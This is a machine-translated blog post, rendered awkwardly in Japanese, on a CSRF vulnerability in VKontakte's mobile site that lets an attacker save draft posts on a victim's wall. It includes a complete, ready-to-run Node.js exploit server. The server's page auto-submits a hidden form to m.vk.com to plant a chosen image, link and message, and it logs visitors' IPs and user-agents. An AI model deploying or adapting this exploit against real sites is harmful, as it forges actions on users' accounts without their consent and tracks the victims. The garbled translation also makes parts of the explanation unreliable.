ユーザーに秘密のメッセージを残し、エージェントをプレイする

よろしくお願いします!



脆弱性、CSRF攻撃、およびシークレットエージェントに関する別の記事の時間です!

急いで、カットの下に飛び込みます!









まず、トピックから少し離れましょう。



Clickjackingに関する前回の記事では、当時公開されていなかった脆弱性に関するプレゼンテーションを行いました。 まあ、もちろん、いくつかのマイナスをスナップしました。 主にVKの従業員から。 私はこれについてお話したいと思います。その記事は示唆的なものであり、人は実生活の例を最もよく覚えているので、これを強調しました。 誰かが気に入らなかった。 申し訳ありませんが、悲しむことを余儀なくされます。 この記事では、VCの脆弱性について再度触れます。 しかし、事前に気分を害しないでください! 暖かいクリスマスのポストになります:)



そしてもう1つ、トピックについてではありませんが、今でもタブを閉じてインターネットの閲覧を続けるべきではありません。 実際、私は多くの問題と自由時間のない学生です。 しかし、iOS 7.0で脱獄を行っている間に*(はい、そうです)iOS 7バージョンにいくつかの興味深い脆弱性が見つかりました。 大丈夫、ただの楽しみです。 これらすべての理由:Habrausersがこれらの脆弱性に関する一連の記事を開始するかどうかを決定する投稿にアンケートを添付しました。



以上で、今日の投稿の利点に移りましょう!



エージェントの解剖学を理解する





したがって、この記事では、VCの脆弱性を検討します。これにより、友好的なユーザーウォール上のメッセージの下書きにメッセージ/画像/リンク/ビデオ/ドキュメントなどを埋め込むことができます。 はい、少なくともすべて一緒に!

CSRF脆弱性の使用-今日のヒロイン。



VKにログインし、壁にレコードを作成するときにサーバーに送信されたデータを追跡します。







VKontakteは、CSRF攻撃に対するシンプルで効果的な保護を実装しました。ハッシュ変数には、サーバーがリクエストを受信するたびにチェックされる特別に生成された行が含まれています。 もちろん、サーバー上のチェック文字列が送信された文字列と一致しない場合、リクエストは処理されません。 これはCSRFトークンに他なりません。



しかし、愚かなテストをしてみましょう! ハッシュ変数を含まないリクエストを送信しましょう。







ご覧のとおり、保護は正しく機能しました。 要求は処理されませんでした。 しかし、あきらめるのは愚かなことです。

VKのモバイルバージョンのWebサイトをアドレスバーに入力してアクセスします。 はい、モバイルバージョンのサイトに移動します。 パスワードを入力しましたか? 覚えていない。 それから何が起こったのですか? それを理解しましょう!



この部分で私は間違っているかもしれません、私が間違っている場合は修正してください。

最初に成功した認証で、VKサーバーはサブドメインにCookieを設定します。







したがって、Cookieは* .vk.comに対して有効です。



上記のアクションを実行しようとしますが、すでにVKモバイルサイトを使用しています。

テキストを壁に送ります。







ハッシュ変数はこちらです。 リクエストを再度送信してみますが、リクエストは送信しません。







うーん、すべての指示により、リクエストは処理されませんでした。 答えは、別のページに移動する必要があることを示しています。







はい、私たちの予感は確認されました。 信頼するが検証する!







ご覧のとおり、リクエストは部分的に処理されました。 すなわち、レコードを投稿できませんでしたが、下書きを保存しました:)

かなり残っています。



エクスプロイトの作成





if (!(process.argv[2] && process.argv[3] && process.argv[4] && process.argv[5])) { console.log('Usage: ' + process.argv[0] + ' ' + process.argv[1] + ' wallID picID Href-like-text message'); process.exit(1) }; var http = require('http'), payload = '<html>\n' + '<head>\n' + '<title>SenDey"s day! fil9 2014</title>\n' + '</head>\n' + '<body>\n' + '<center><img width="400" height="400" src="http://0day-4you.ru/uploads/posts/2012-02/1329918231_68217548_01.png"></img></center>\n' + // '<iframe name="sandbox" width="1" height="1"></iframe>\n' + // '<form method="POST" id="payload" target="sandbox">\n' + '<input type="hidden" name="attach1" value="' + process.argv[3].replace(/"/g, "") + '"> \n' +//picID '<input type="hidden" name="attach1_type" value="photo"> <!-- type of attach1 -->\n' + '<input type="hidden" name="attach2_type" value="share"> <!-- type of attach2 -->\n' + '<input type="hidden" name="url" value="http://' + process.argv[4].replace(/"/g, "") + '.sendey/"> \n' + //Href-like text. JFF '<input type="hidden" name="message" value="' + process.argv[5].replace(/"/g, "") + '">\n' + //message '</form>\n' + '<script>\n' + 'var payload = document.getElementById("payload");\n' + 'if(payload){\n' + 'var protocols = new Array("http","https");\n' + 'for(var i=0;i<=protocols.length-1;i++){\n' + //   'payload.action=protocols[i]+"://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '?act=post&from=profile";\n' + //target Wall 'payload.submit()};\n' + 'var newloc=function(){document.location="http://m.vk.com/wall' + process.argv[2].replace(/"/g, "") + '#wall"};\n' + //     'setTimeout("newloc()",1000)}\n' + //  .      Chrome '</script>\n' + '</body>\n' + '</html>\n'; http.createServer(function (rq, rs) { rs.writeHead(200, { 'Content-Type': 'text/html' }); console.log('----------------------------\n' + 'Url: ' + rq.url + '\n' + 'Ip: ' + rq.connection.remoteAddress + '\n' + 'User-agent: ' + rq.headers['user-agent'] + '\n' + '----------------------------\n'); rs.end(payload); }).listen(8080); //  0.0.0.0:8080
      
      







さて、デモなしのどんな種類の探検:)



http://www.youtube.com/watch?v=fPJ_dhNWhmE



楽しんでいただけましたでしょうか。 私はすべての短所とエラーをすぐに報告するようお願いします。私はそれらを修正しようとします。



All Articles